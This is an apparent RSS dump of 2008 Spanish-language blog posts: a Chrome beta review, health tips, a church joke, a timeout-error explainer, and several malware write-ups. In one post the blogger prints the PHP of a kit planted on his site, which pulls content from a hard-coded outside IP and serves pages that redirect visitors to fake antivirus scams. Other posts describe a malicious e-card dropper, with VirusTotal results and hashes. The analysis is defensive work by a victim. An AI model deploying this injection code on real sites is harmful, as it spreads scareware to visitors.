Algo que sin duda es muy respetable es que aunque apenas es una beta, ya pasa sin ningún problema la prueba Acid 2, y eso hace que no tengas que modificar tus sitios, por lo menos eso espero. No puedo dejar de mencionar que al momento de instalar Crome, me dio la opción de importar mis datos desde Firefox, y si que los importo, no solo los marcadores, sino también las contraseñas, historial y todo lo que sueles tener en un navegador. Esto te da la ventaja de que cuando abres una ventana nueva te presente unas pequeñas ventanitas que son las que más visitas, algo sin duda muy útil al momento de revisar los sitios que más frecuentas o que tienes que frecuentar como en mi caso.

chrome2.PNG
Click en la imagen para ver más grande

Un detalle que no se que tan útil pueda resultar, es el hecho de que el nombre del dominio esta en negro y toda la demás parte de la URL, esta en gris, me imagino que es para evitar un poco el phising, ya que si no vez el dominio de tu banco, como por ejemplo www.banorte.com en negro, pues fuera de ese sitio.

Y ya para terminar, estuve chocando un poco las herramientas para desarrolladores, que te permiten hacer mucho de lo que haces con firebug, pero que en este caso ya viene nativo en el navegador.
chrome4.PNG
Click en la imagen para ver más grande

Bueno señoras y señores desde hoy el mundo comenzara a ver el Internet de la manera en que Google lo desea.

Saludos

Etiquetas: programas, chrome, computacion, cosas, google

]]> Por: Raymundo Carrasco Arreola Mejora Tu Salud y Disfruta de la Vida http://sociedadsaludable.blogspot.com/2008/09/mejora-tu-salud-y-disfruta-de-la-vida.html http://sociedadsaludable.blogspot.com/2008/09/mejora-tu-salud-y-disfruta-de-la-vida.html Tue, 02 Sep 2008 21:15:00 +0200 bajar peso acido folico malnutricion dietas agua potable Por Por: Raymundo Carrasco Arreola en Raymundo Carrasco Arreola el 02 de septiembre de 2008 a las 21:15:00

Por: Raymundo Carrasco Arreola - Te invito a que conozcas mas como mejorar tu salud y disfrutar de la vida

Aqui te damos recomendaciones de como debes de mejorar tu salud y llevar una vida mas armoniosa, visita tambien los enlaces, para conocer como mejorar tu salud.



Agua potable


Otros nombres: Agua para beber


Todas las criaturas vivas necesitan agua sana y potable. ¿Cuánto se necesita? Depende - su talla, el nivel de actividad y el clima determinan las diferencias.


El agua que se bebe es una combinación de aguas superficiales y aguas subterráneas. El agua superficial incluye a los ríos, lagos y presas. Las aguas subterráneas provienen del subsuelo. En los Estados Unidos existe uno de los suministros de agua más sanos del mundo, pero la calidad del agua potable puede variar de un lugar a otro. Depende de la condición de la fuente del agua y del tratamiento que recibe. El tratamiento puede incluir agregarle fluoruro para prevenir las caries y cloruro para matar a los gérmenes.


Su proveedor de agua potable debe enviarle informes anuales sobre el agua potable. El informe incluye de dónde viene el agua y qué contaminantes contiene.






Suplementos en la dieta




Otros nombres: Suplementos dietéticos


Los suplementos en la dieta son vitaminas, minerales, hierbas y otras sustancias que se utilizan para mejorar su dieta. Pueden encontrarse en forma de pastillas, cápsulas, polvos y líquidos. Los suplementos no necesitan ser sometidos a las pruebas que se requieren en los fármacos.


Algunos suplementos pueden tener un papel importante en la salud. Por ejemplo, las mujeres embarazadas pueden tomar la vitamina ácido fólico para prevenir algunos defectos congénitos en sus bebés. Tomar suplementos también puede ser un tipo de medicina complementaria o alternativa.


Para tomar un suplemento con la mayor seguridad posible:


Dígale al médico los suplementos que consume
No tome dosis más altas de las recomendadas en la etiqueta
Deje de tomarlos si sufre efectos secundarios
Lea información confiable acerca del suplemento




Ácido fólico


Otros nombres: Folato, Vitamina B9, Ácido pteroilglutámico


El ácido fólico es una vitamina B. Ayuda al organismo a crear células nuevas. Todas las personas necesitan ácido fólico. Es muy importante para las mujeres en edad fértil. Cuando una mujer tiene suficiente ácido fólico en su cuerpo, antes y durante el embarazo, puede prevenir defectos congénitos importantes en el cerebro y la columna vertebral del bebé.


Entre los alimentos que contienen ácido fólico se encuentran los vegetales de hojas verdes, las frutas, los guisantes secos, los chícharos y las nueces. Los panes enriquecidos, los cereales y otros productos hechos con granos también contienen ácido fólico. Si no obtiene suficiente ácido fólico a través de los alimentos, puede consumirlo como suplemento dietético.




Nutrición artificial


Otros nombres: Alimentación asistida


La nutrición artificial es para las personas que no reciben suficientes nutrientes a través de las comidas o las bebidas. Es posible que lo necesite si:


No puede tragar
Tiene problemas de apetito o una malnutrición severa
No puede absorber los nutrientes a través del sistema digestivo


Usted puede nutrirse artificialmente a través de una aguja o un catéter colocado en una vena o con un tubo de alimentación, que va hasta el estómago.


Brindar apoyo nutricional puede tener beneficios y riesgos. Las familias que estén pensando en la nutrición artificial para un ser querido que no puede tomar decisiones deben conversar sobre las opciones con el médico del paciente.


Resúmenes
Hidratación y nutrición artificial(Academia Americana de Médicos de Familia)
También está disponible en inglés
Condiciones específicas
Enciclopedia médica: Inserción de una sonda de gastrostomía
Hidratación artificial: Hipodermoclisis(Academia Americana de Médicos de Familia)
También está disponible en inglés
Asuntos relacionados
Procedimientos de acceso vascular(Sociedad de Radiología de Norteamérica, Colegio Americano de Radiología)
También está disponible en inglés
Niños
Enciclopedia médica: Sonda de alimentación en bebés Volver al comienzo


Si quieres mas artículos como este, Subscribete a mi blog por email… Es gratis!

Etiquetas: bajar peso, acido folico, malnutricion, dietas, agua potable

]]> Mixel Adm EL CRIMEN DEL PADRE GUMARO http://mixelandia.com/2008/09/el-crimen-del-padre-gumaro.php http://mixelandia.com/2008/09/el-crimen-del-padre-gumaro.php Mon, 01 Sep 2008 20:16:11 +0200 mixelandia blogs chistes humor iglesia Por Mixel Adm en Mixelandia el 01 de septiembre de 2008 a las 20:16:11


El nuevo padre de la parroquia estaba tan nervioso en su primer sermón que casi no consiguió hablar.

Antes de su segundo sermón, el domingo siguiente, preguntó al Arzobispo como podría hacer para relajarse. Este le sugirió lo siguiente:


'La próxima vez, coloque unas gotitas de vodka en el agua y va a ver que, después de algunos tragos, va a estar más relajado'.


El domingo siguiente el Padre aplicó la sugerencia, pero no contó el número de gotas y se pasó. Pero, en efecto se sintió tan bien que podría hablar hasta en medio de una tempestad, su emotividad causó hasta desmayos y hubo una mezcla de conmoción y emoción extrema entre los feligreses...


Al finalizar el sermón, ya totalmente relajado, regresó a la sacristía y encontró una nota del Arzobispo que decía lo siguiente:





Apreciado Padre Gumaro:








La próxima vez, coloque unas gotas de vodka en el agua y no unas gotas

de agua en el vodka. Le anexo algunas observaciones para que no se

repita lo que vi en el sermón de hoy:





No hay necesidad de poner limón y mucho menos escarchar con sal el borde del cáliz.





Aquella caseta, al lado del altar es el confesionario y no el baño.





Evite apoyarse en la imagen de la Virgen y mucho menos abrazarla y besarla.








Existen 10 mandamientos y no 12.





Los apóstoles eran 12 y no 7, y ninguno era enanito.





Caín asesinó a Abel, no le rompió la Madre.





La Santa Cruz no es la ' T volteada esa'.





No nos referimos a nuestro Señor Jesucristo y sus apóstoles como 'J.C. & Compañía'.





No nos referimos a Judas como 'cabrón lengua larga'.





No debe tratar al Papa por 'El Padrino'.





Bin Laden no tuvo nada que ver con la muerte de Jesús.





El agua bendita es para bendecir y no para refrescarse la nuca.





Nunca rece la misa sentado en la escalera del altar y mucho menos con el pie sobre la Biblia.





La Biblia, a propósito, no es ningún 'librito bien poca madre'.





Dios no les dio la 'expulsación' a Adán y Eva del paraíso.





Las hostias son para distribuirlas en el pueblo. No deben ser usadas

como aperitivo para acompañar el vino y no saben mejor con atún o

cajeta.





Los pecadores van al infierno y no a chingar a su madre.





La iniciativa de llamar al público para bailar fue buena, pero eso de hacer trenecito por toda la iglesia, NO!.





El aserejé no es un salmo.








Atentamente, El Arzobispo.





P.D. Aquel tipo sentado en el rincón del altar, al cual Usted se refirió como 'Putín' y 'travesti con faldita', era yo.

Etiquetas: mixelandia, blogs, chistes, humor, iglesia

]]> Mixel Adm El hacker que me trajo tráfico o nadie sabe para quien trabaja http://mixelandia.com/2008/08/el-hacker-que-me-trajo-trafico.php http://mixelandia.com/2008/08/el-hacker-que-me-trajo-trafico.php Fri, 29 Aug 2008 15:36:41 +0200 malware mixelandia blogs hackers pendejos Por Mixel Adm en Mixelandia el 29 de agosto de 2008 a las 15:36:41

Recuerdan que el otro día escribí sobre mi mandriva infectado con virus, pues bueno ayer en la tarde por pura curiosidad le pique a los últimos resultados de buscar mixelandia.com, y me tope con muchos resultados extraños, todos apuntando a esta dirección: http://mixelandia.com/2008/03/images y después un numero consecutivo entre 1 y 10.

Si bien al principio me desconcerté, porque alguien había entrado a mixelandia, luego revisando las propiedades de los archivos, me di cuenta de que los archivos habían sido creados 1 semana antes y que en las propiedades aparecía que pertenecían a mi usuario de ftp. La verdad esto no me extraña en nada, ya que últimamente varios de los sitios que teníamos hospedados en servage, han sufrido ese tipo  de ataques, donde archivos   de  solo lectura  para  el usuario web, es decir  que  no es  posible modificar esos archivos utilizando alguna vulnerabilidad en algún cms o sistema de bloggin como lo son drupal o MTOS, que son los que yo he tenido instalados.



Recordando un tiempo atrás, el primer sitio que fue atacado de esta

forma fue UBH, donde carmen recibió una advertencia de un usuario y

cuando vi que había pasado, resulto que el index y otros archivos

marcados con permisos 755, habían sido modificados, solo había  una

explicación, entrar o por el administrador de archivos en línea que

proporciona servage o por la cuenta de FTP. Parece coincidencia que

unos días atrás servage había cambiado las contraseñas de FTP,

quisieras o no, esto para incrementar la seguridad, según versaba en la

página principal de servage. Además agregaron un sistema de Captcha al

login, cosa que veo realmente extraño, puesto que no es muy común que

en el login te pongan captcha. Por cierto esto fue un motivo suficiente

para que carmen decidiera abandonar por completo servage y mudarnos

para interhost. Desafortunadamente, yo no puedo costearme un servidor

dedicado, ni siquiera un VPS (Virtual Private Server)  o Servidor

Privado Virtual que es en lo que esta en estos momentos UBH.





Tan solo una semana atrás, quien cayo fue Zerocracia, que al igual que

UBH, fue modificado su index y otros archivos de javascript, que

también era de solo lectura, y de nuevo no era posible que drupal los

pudiera modificar.





Y ayer le toco el turno a Mixelandia, que si bien ya había sido

hacheada una vez, fue por medio del foro, es decir phpBB, por lo que

desde hace un buen lo quite, ya que solo trajo problemas.


index_imgs.PNG


Bien pero como no me iba a quedar nomás viendo, quite la carpetita que

habían puesto y después me dije bueno si de todos modos va a llegar

gente a esa URL, porque no aprovechamos ese trafico y lo mandamos a el

index, así que por medio de un archivito .htaccess, estoy redirigiendo

todo el trafico sin importar cual de todas la paginas maliciosas sea la

que intentes visitar. Esto no solo hace que tenga más visitas, sino que

además es benéfico para todos los que intentaron visitar esos links, la

explicación a continuación.





Primeramente esta es la estructura que tiene la carpeta que crearon, es

decir images que para poder tener la redirección, le cambie el nombre a

images_.











Bien entonces empecemos a poner lo que contienen los archivos.





Pages.php





Solo es un Wrapper para el archivo blog.php





<?


include("../blog.php");


?>








Blog.php





Este archivo se encarga de recuperar algunos datos y  construir la página de salida.





<?


if(!empty($_GET['p'])){    $id = intval($_GET['p']);


    $ddir = 1;  


        if(!empty($ddir) and !empty($id)){  


            //ob_start();


            $url = "http://89.149.217.230/content/2/".$id.".txt";             if(function_exists('curl_init')) { la funcion


                $ch = curl_init(); //inicamos curl


                @curl_setopt($ch, CURLOPT_URL, $url);


                @curl_setopt($ch, CURLOPT_HEADER, 0);


                @curl_setopt($ch, CURLOPT_POST, 0);


                @curl_setopt($ch, CURLOPT_COOKIE, 0);


                @curl_setopt($ch, CURLOPT_TIMEOUT, 15);


                @curl_setopt($ch, CURLOPT_REFERER, $url);


                @curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0

(compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)");


                @curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);


                @curl_setopt($ch, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_0);


                $content = @curl_exec($ch);


                $content = @explode("\n", $content);


               curl_close($ch);


            }else{


                $content = @file($url);            }


            ob_start();


            $pagetitle = @str_replace("
\n", "", $content['3']);


            $out['page_title'] = $pagetitle;


            for($fi=0;$fi

                echo $content[$fi]."
";


            }


            $out['content'] = ob_get_contents();


            ob_end_clean();





            ob_start();


            @readfile("maplink.txt");


            $out['map'] = ob_get_contents();


            ob_end_clean();





            include("../template.html");


        }else{


            header("HTTP/1.0 404 Not Found");


        }


}else{


    header("HTTP/1.0 404 Not Found");


}


?>





Ahora viene template.html, que es la que ya tiene la estructura de cómo saldrá en pantalla la página.














CLICK HERE! INFO ABOUT: <?=$out['page_title'];?>











<?











?>























<?=$out['content'];?>





<?=$out['map'];?>



















Como podemos ver se abre un iframe, el cual tiene como source el archivo a.html, asi que vamos a ver que tiene.











Bien pues la respuesta salta a la vista muy fácil, no hace falta mucho

para comprender que lo que hace es que redirecciona a una dirección de

un sitio que pareciera que es porno, tal vez por el nombre

pornpissing.net. sin embargo cuando uno sigue el link, cosa que no

recomiendo si no saben lo que están haciendo, se encuentra con que otra

vez eres redireccionado a el sitio    http://www.0scan.com/free/, en el

que adivinen que hay.





Si en efecto otro bonito engaño de antivirus, claro entre mi antrivirus

de verdad y noscript, no dejaron que nada de esto pasara a mayores.

Tengo antivirus y no script, porque estoy en mi trabajo y aquí si tengo

que usar Windows.



Imagen Thumbnail para otro_anti.PNGYa no vamos a hacer muy largo el cuento, sin embargo casi todos los

links que apuntaban a esos archivos habían sido creados ayer y hoy 29, 

así que nadie sabe para quien trabaja no lo creen





Saludos




Etiquetas: malware, mixelandia, blogs, hackers, pendejos

]]> Mixel Adm Mi Mandriva infectado con virus: WTF http://mixelandia.com/2008/08/mi-mandriva-infectado-con-virus-wtf.php http://mixelandia.com/2008/08/mi-mandriva-infectado-con-virus-wtf.php Wed, 27 Aug 2008 04:42:42 +0200 malware antivirus cosas pendejos vidafreak Por Mixel Adm en Mixelandia el 27 de agosto de 2008 a las 04:42:42

Hace rato, haciendo algo de SEO, y checando algunos resultados en los motores de búsqueda, me lleve una bonita sorpresa cuando visite una pagina que tenia un link a mixelandia.com.

Fue muy notorio, cuando la ventana de mi navegador se hizo pequeña, y me salio un cuadro de dialogo diciendo que mi máquina podría estar infectada de virus, adware, spyware y troyanos. Presiona Ok para escanear tu sistema.

mi_mandriva_infectado1.png
Claro que presione Ok, lo que no es de extrañar debido a mi naturaleza curiosa, y a que estoy en linux y cualquier malware que se baje solo podrá hacer una cosa, gastar espacio en mi disco duro. Cuando le dí en me salio otro mensajito, que decía que Antivirus 2008 escanearía mi sistema y un botón de aceptar.


mi_mandriva_infectado2.png



Solo tengo una expresión para lo que siguió a continuación: O My

Fucking God o lo que es casi lo mismo Wath Ta Fuck, el Antivirus 2008

en línea, estaba escaneando mi computadora, y lo que es peor, encontró

algunas amenazas y me pedía que instalara un control Active X.




mi_mandriva_infectado3.png



Cuando por fin termino de revisar mi computadora, me salto otra ventanita, la cual decía lo siguiente:


"Archivos peligrosos encontrados, su privacidad esta en riesgo" y "Para

prevenir la perdida de datos, necesitas instalar una aplicación

especial para ayudar a proteger tu información personal de posibles

robos o usos no autorizados".





mi_mandriva_infectado6.png





Para el usuario promedio, este engaño tal vez resulte en una infección

de su computadora, sin embargo hay algunas cuantas cosas que nos

indican que esto es un engaño. Para empezar la gran mayoría de las

máquinas con XP, no usan el tema olivo, es decir el tema que usan las

imágenes, sino que usan el azul, desde ahí perdió cualquier validez,

sin importar si estas en windows o linux. Ahora que en la pantalla en

la que eres invitado a bajar su aplicación, esta te remarca mucho, en

exceso que bajes su software, lo cual no es tan normal en los sitios

originales.





Si bien esta pagina esta muy elaborada, no es razón para caer en ella,

ya que como comente anteriormente hay muchos signos que nos deben de

alertar, y hacernos cerrar la ventana del navegador inmediatamente,

recordemos que la mejor manera de protegerse contra posibles

infecciones de virus, es la prevención.





Saludos.


Etiquetas: malware, antivirus, cosas, pendejos, vidafreak

]]> Mixel Adm El Time out error: El error de los 50 pesos. http://mixelandia.com/2008/08/el-time-out-error-el-error-de-los-50-pesos.php http://mixelandia.com/2008/08/el-time-out-error-el-error-de-los-50-pesos.php Tue, 26 Aug 2008 05:23:36 +0200 mixelandia blogger blogs computacion cosas Por Mixel Adm en Mixelandia el 26 de agosto de 2008 a las 05:23:36

A veces no les ha pasado que la vida los pone en circunstancias que parecen salidas de sueños o de plano de nuestra imaginación, las cuales nos hacen darnos cuenta que tenemos mucha suerte, o que los astros están alineados y eso nos favorece o más bien diría yo, simple casualidad.
Bueno porque esto, empecemos por relatar lo que me paso el sábado, fue un día lleno de sucesos que de una u otra manera fueron satisfactorios, uno sorpresivo, otro muy agradable.

Eran las 11 con 50 de la madrugada cuando mi madre me mando a ponerle saldo a su celular al oxxo que esta enfrente de mi casa, cosa que de cierta forma no me agrado, ya que era sábado y yo no tenia ni la mas mínima gana de hacer nada, al menos no de mañana, más sin tener otro argumento más que ese, no tuve más que ir a hacer el dichoso mandado. Ya en el Oxxo, pedí que le pusieran los 50 pesotes al celular de mi mama y yo pues aprovechando el viaje me dije en mis adentros, "porque no, de una vez le pongo 50 pesos mi celular", por lo que le dije al dependiente, y le pone 50 pesos también a este otro número.
Hasta aquí, todo va normal, esta en el esquema, sigue el flujo normal, es decir pides saldo, das tu numero el tendero lo escribe, le da enter y por ultimo pagas el saldo abonado a tu cuenta. Bien, pague los 100 pesos que eran de las dos recargas, y en eso que se voltea el señor que atendía y me dice: "que cree joven, el segundo teléfono no quiso, mire marca error". Siguiendo mi naturaleza metiche, sobre todo para lo que tiene que ver con tecnología, le eché un vistazo al mentado error, y alcance a ver que decía algo de Time Out.



Para todos aquellos que no estén muy relacionados con lo que son las

redes de computadoras, déjenme explicarles con dos ejemplos muy

sencillos que es o como sucede este error.





Imaginemos que somos Juan y tenemos una novia, que por la razón que

sea, el destino nos separo y ahora vivimos en ciudades distintas, como

somos muy tradicionalistas, aun vivimos en un rancho apartado de la

civilización, tenemos que usar el correo normal, es decir ese que

entregan los carteros en la puerta de tu casal. Pasados 3 días desde

que estamos separados, le escribimos una carta, pidiéndole que deje

todo y se vaya a vivir con nosotros, y la enviamos llenos de esperanza

de que ella acepte. Desafortunadamente, el servicio postal de la ciudad

no es muy confiable y la carta se retrasa dos meses, tiempo en el que

ella no supo nada de nosotros, y un avivado, que siempre había

pretendido a nuestra novia, aparece en escena y tirando su rollo más

mareador que tiene, la convence de que se case con el. Pasado un mes

desde su matrimonio, ella recibe nuestra carta, con fecha de hace 2

meses. Pequeño detalle, ella decide ya no contestarla, ya que caso

tiene, que se puede hacer. Nosotros nos quedamos esperando una

contestación, pasaron 3, 4, 5 meses, y nada la contestación nunca

llego. Aquí tenemos un Time Out Error, donde la validez del paquete o

en este caso el contenido de la carta, llego a su destino, pero con

mucho retraso, tanto que hizo que la validez o importancia de este se

terminaran, y no generaran un mensaje de acuse de recibo, como seria lo

más normal. Este tipo de errores son muy comunes cuando la red en la

que estamos o el Internet están muy saturados, tanto que nuestros

paquetes (que irónicamente es el nombre que recibe cada una de las

partes que conforman la información que se transmite en una red).





Ahora supongamos que solicitamos que se nos repare alguna avería en

nuestra casa y para eso contratamos una empresa especializada, y ellos

mandan a su técnico, el cual repara la falla sin mucho problema. Se

supone que el técnico debía de llegar a nuestra casa a las 5, y así es,

solo que a las 5 con 2 minutos ya termino de hacer su trabajo, así que

sale y decide ir a la tiendita, por un refresco para el viaje de

regreso a su centro laboral, en eso recuerda que dejo un desarmador en

nuestra casa, y cuando se baja de su camioneta, mocos que llega un

camión de ruta y le da suelo, es decir lo atropella y este pierde la

vida. Como el técnico nunca reporto que el trabajo estaba hecho, y

siendo este el requisito indispensable para que pueda ser cobrado, la

empresa no puede hacernos el cobro. Y como el accidente fue cuando el

técnico iba apenas a nuestra casa, o al menos eso pareciera por la

hora en que sucedió, estamos libres de toda culpa (es decir de todo

pago).





Como vemos, el error de time out se puede dar de dos formas, cuando el

receptor del mensaje no recibe el mensaje o lo recibe ya sin validez y

cuando lo recibe en tiempo y forma, pero la respuesta no llega al

emisor del mensaje.





En mi caso, el sistema de los oxxos envío la orden de que se me

abonaran 50 pesos a mi celular, sin embargo no recibió la contestación,

es decir que la respuesta de Telcel se perdió o se retraso. Esto hizo

que el sistema dijera que no se realizo la transacción, sin embargo

Telcel opina otra cosa, ya que ellos si recibieron el mensaje y

abonaron el tiempo aire a mi número de celular.





Si bien en esta ocasión la suerte estuvo de mi lado, puede ser muy

peligroso tener errores de time out, por ejemplo si estamos realizando

una compra por Internet y el sitio manda la petición de que se

descuente de nuestra tarjeta de crédito y el banco lo hace pero luego

su autorización se pierde, el sitio no registra el pago y no nos envía

nuestro articulo, sin embargo el banco si nos lo cobra.





Bueno ya no hay mucho más que agregar, mas que decirles que es poco lo

que podemos hacer en contra de este tipo de errores, al menos los que

se dan entre diferentes redes de empresas (por ejemplo entre el banco y

el establecimiento), aunque podríamos por ejemplo tratar de mantener

nuestras maquinas libres de virus, ya que estos ocasionan un alto nivel

de trafico en las redes, lo que las satura y adivinen que provoca.





Saludos

Etiquetas: mixelandia, blogger, blogs, computacion, cosas

]]> Mixel Adm Metropostales Otro virus en la lista:metropostal.exe y new.exe http://mixelandia.com/2008/08/metro-postales-otro-virus-en-la-lista-metropostal-exe-y-new-exe.php http://mixelandia.com/2008/08/metro-postales-otro-virus-en-la-lista-metropostal-exe-y-new-exe.php Wed, 20 Aug 2008 15:07:05 +0200 malware antivirus blogs cosas pendejos Por Mixel Adm en Mixelandia el 20 de agosto de 2008 a las 15:07:05

Hace unos momentos me llego un curioso mensaje de una amiga por el messenger, se trataba de una invitación a ver una postal.

postal-metro2.PNG
Me llamo mucho la atención que el enlace fuera por medio de no-ip.org, que es un dns dinámico, el cual ya he utilizado en diversas ocaciones para poder conectarme a el servidor de la antigue empresa donde trabajaba.


postal-metro.PNG






Revisando el código fuente de la página, me di cuenta de que los autores enlazaron las imágenes desde el sitio de metropostales.com, así se aseguran que la imagen de la página sea igual a la oficial. Sin embargo algo que no hay en la original es este script en VBScript.




Que como pueden intenta instalar un archivo llamado new.exe en el menu inicio de todos los usuarios.

La ruta funciona, y si eres vulnerable al "Exploit Microsoft Access Snapshot Viewer ActiveX Control Vulnerability" entonces tendrás este virus sin hacer nada más que visitar la página. Claro que si usas Firefox y la extensión de NoScript, no tienes nada de que preocuparte, ya que normalmente esos dominios no tienen autorización para ejecutar scripts.

Como es mi costumbre me baje los dos archivitos, tanto metropostal.exe y new.exe, los cuales analice en _Virus total y aquí están los resultados.

Metropostal.exe fue creado apenas ayer, así que esta relativamente nuevo, no obstante esta marcado como peligros por 12 antivirus. Algo a notar es que esta escrito en VB6.

File metropostal.exe received on 08.20.2008 04:04:46 (CET)
AntivirusVersionLast UpdateResult
AhnLab-V32008.8.19.02008.08.19-
AntiVir7.8.1.232008.08.19TR/Crypt.XPACK.Gen
Authentium5.1.0.42008.08.20-
Avast4.8.1195.02008.08.19Win32:Trojan-gen {Other}
AVG8.0.0.1612008.08.20-
BitDefender7.22008.08.20-
CAT-QuickHeal9.502008.08.19(Suspicious) - DNAScan
ClamAV0.93.12008.08.19Trojan.Dropper-4959
DrWeb4.44.0.091702008.08.19-
eSafe7.0.17.02008.08.19-
eTrust-Vet31.6.60362008.08.19-
Ewido4.02008.08.19Dropper.VB.ud
F-Prot4.4.4.562008.08.19-
F-Secure7.60.13501.02008.08.19-
Fortinet3.14.0.02008.08.19-
GData2.0.7306.10232008.08.20Win32:Trojan-gen
IkarusT3.1.1.34.02008.08.20MemScanTrojan.Dropper.VB.AAM
K7AntiVirus7.10.4212008.08.19-
Kaspersky7.0.0.1252008.08.20-
McAfee53642008.08.19-
Microsoft1.38072008.08.20TrojanDropper:Win32/VB.DP
NOD32v233692008.08.19-
Norman5.80.022008.08.19-
Panda9.0.0.42008.08.19Suspicious file
PCTools4.4.2.02008.08.19-
Prevx1V22008.08.20-
Rising20.58.12.002008.08.19-
Sophos4.32.02008.08.20Mal/Dropper-AG
Sunbelt3.1.1546.12008.08.15-
Symantec102008.08.20-
TheHacker6.3.0.5.0542008.08.19-
TrendMicro8.700.0.10042008.08.19PAK_Generic.001
VBA323.12.8.32008.08.19-
ViRobot2008.8.19.13412008.08.20-
VirusBuster4.5.11.02008.08.19-
Webwasher-Gateway6.6.22008.08.19Trojan.Crypt.XPACK.Gen
 
Additional information
Tamano archivo: 62530 bytes
MD5...: 4854a89f5212fce44281102e719450ff
SHA1..: 130bd263e051675d24e334e4d36c6bdb89cfce69
SHA256: ebea513cce2c637a12737b9bae6ac0d229c9d034817031667911095a563cd908
SHA512: 15d1a2854adeb27304c95d4f643372083ef0a45e0018222af2d5563ffc0217b1
5304abc2413c413a85cb461b1e2109fe2f81b3bb7b34082e8e7a7d38cc0634ce
PEiD..: -
PEInfo: PE Structure information

( base data )
entrypointaddress.: 0x401c99
timedatestamp.....: 0x46c84758 (Sun Aug 19 13:36:24 2007)
machinetype.......: 0x14c (I386)

( 4 sections )
name viradd virsiz rawdsiz ntrpy md5
.text 0x1000 0x3c98 0x4000 5.54 50a17654766e64f8a48bc5f736f15060
.data 0x5000 0xab4 0x1000 0.00 620f0b67a91f7f74151bc5be745b7110
.rsrc 0x6000 0x10 0x1000 0.01 a85d039edc3540b108709278812b252a
.1data 0x7000 0x5000 0x0 0.00 d41d8cd98f00b204e9800998ecf8427e

( 1 imports )
> MSVBVM60.DLL: EVENT_SINK_GetIDsOfNames, _CIcos, _adj_fptan, __vbaVarMove, -, __vbaAryMove, __vbaFreeVar, __vbaLenBstr, __vbaStrVarMove, __vbaFreeVarList, __vbaEnd, __vbaPut3, _adj_fdiv_m64, EVENT_SINK_Invoke, __vbaRaiseEvent, __vbaFreeObjList, _adj_fprem1, __vbaI2Abs, __vbaStrCat, __vbaHresultCheckObj, _adj_fdiv_m32, -, __vbaAryVar, Zombie_GetTypeInfo, __vbaAryDestruct, __vbaExitProc, __vbaOnError, __vbaObjSet, -, _adj_fdiv_m16i, __vbaObjSetAddref, _adj_fdivr_m16i, -, _CIsin, __vbaErase, -, -, __vbaChkstk, __vbaFileClose, EVENT_SINK_AddRef, __vbaGenerateBoundsError, __vbaStrCmp, __vbaGet3, __vbaPutOwner3, __vbaI2I4, __vbaLbound, __vbaRedimPreserve, _adj_fpatan, Zombie_GetTypeInfoCount, __vbaRedim, EVENT_SINK_Release, __vbaNew, -, __vbaUI1I2, _CIsqrt, EVENT_SINK_QueryInterface, __vbaExceptHandler, -, _adj_fprem, _adj_fdivr_m64, -, __vbaFPException, -, __vbaGetOwner3, __vbaStrVarVal, __vbaUbound, __vbaVarCat, _CIlog, __vbaErrorOverflow, __vbaFileOpen, -, __vbaVar2Vec, __vbaNew2, -, _adj_fdiv_m32i, _adj_fdivr_m32i, __vbaStrCopy, -, __vbaFreeStrList, _adj_fdivr_m32, _adj_fdiv_r, -, -, __vbaVarDup, -, __vbaVarCopy, _CIatan, __vbaStrMove, __vbaAryCopy, _allmul, _CItan, _CIexp, __vbaFreeObj, __vbaFreeStr

( 0 exports )

New.exe esta comprimido don UPX, y lo cual lo hace peligroso por definición, ya que recordemos que los ejecutables normales no suelen estar comprimidos ni encriptadas.

Análisis del archivo new.exe recibido el 20.08.2008 17:38:16 (CET)
Motor antivirusVersiónÚltima actualizaciónResultado
AhnLab-V32008.8.19.02008.08.20Win32/NSAnti.suspicious
AntiVir7.8.1.232008.08.20TR/Crypt.ULPM.Gen
Authentium5.1.0.42008.08.20-
Avast4.8.1195.02008.08.20-
AVG8.0.0.1612008.08.20-
BitDefender7.22008.08.20GenPack:Trojan.Dropper.Delf.BBM
CAT-QuickHeal9.502008.08.20-
ClamAV0.93.12008.08.19-
DrWeb4.44.0.091702008.08.20-
eSafe7.0.17.02008.08.20Suspicious File
eTrust-Vet31.6.60372008.08.20-
Ewido4.02008.08.20-
F-Prot4.4.4.562008.08.19-
Fortinet3.14.0.02008.08.20-
GData2.0.7306.10232008.08.20Trojan.Win32.Buzus.rfg
IkarusT3.1.1.34.02008.08.20-
K7AntiVirus7.10.4212008.08.19-
Kaspersky7.0.0.1252008.08.20Trojan.Win32.Buzus.rfg
McAfee53642008.08.19New Malware.bl
Microsoft1.38072008.08.20Trojan:Win32/Buzus.A
NOD32v233712008.08.20-
Norman5.80.022008.08.20-
Panda9.0.0.42008.08.19-
PCTools4.4.2.02008.08.20-
Prevx1V22008.08.20-
Rising20.58.22.002008.08.20-
Sophos4.32.02008.08.20Mal/HckPk-A
Sunbelt3.1.1564.12008.08.20-
Symantec102008.08.20SecurityRisk.Downldr
TheHacker6.3.0.5.0542008.08.19-
TrendMicro8.700.0.10042008.08.20TROJ_BUZUS.QA
VBA323.12.8.32008.08.20Trojan.Win32.Buzus.qdk
ViRobot2008.8.20.13422008.08.20-
VirusBuster4.5.11.02008.08.20-
Webwasher-Gateway6.6.22008.08.20Trojan.Crypt.ULPM.Gen
 
Información adicional
Tamano archivo: 57856 bytes
MD5...: 90a2d4c87a77eea0302e0335f16f2e09
SHA1..: 05bfff7ef4aff3b544cbe47e6ab8f1a3681920cb
SHA256: a835dc928d129d2d6e5ec4b57392f263be5c3b08c2c216f12aaee4e5d199d681
SHA512: 7bf4e42305642e618c7b828f7e2d161a035f208c45db9c75e85b14cd73027486
2465e8b0f55a79888a801043aab0023c38f906ea6692aa4e05124f26de108227
PEiD..: -
PEInfo: PE Structure information

( base data )
entrypointaddress.: 0x418730
timedatestamp.....: 0x2a425e19 (Fri Jun 19 22:22:17 1992)
machinetype.......: 0x14c (I386)

( 3 sections )
name viradd virsiz rawdsiz ntrpy md5
UPX0 0x1000 0xa000 0x0 0.00 d41d8cd98f00b204e9800998ecf8427e
UPX1 0xb000 0xe000 0xda00 7.99 223288db979476f48f5b84e35693af92
.rsrc 0x19000 0x1000 0x400 2.83 62b3229e36fd278c875a996ba54a4cf8

( 6 imports )
> KERNEL32.DLL: LoadLibraryA, GetProcAddress, VirtualProtect, VirtualAlloc, VirtualFree, ExitProcess
> advapi32.dll: RegCloseKey
> ntdll.dll: NtUnmapViewOfSection
> oleaut32.dll: SysFreeString
> user32.dll: MessageBoxA
> winmm.dll: timeGetTime

( 0 exports )

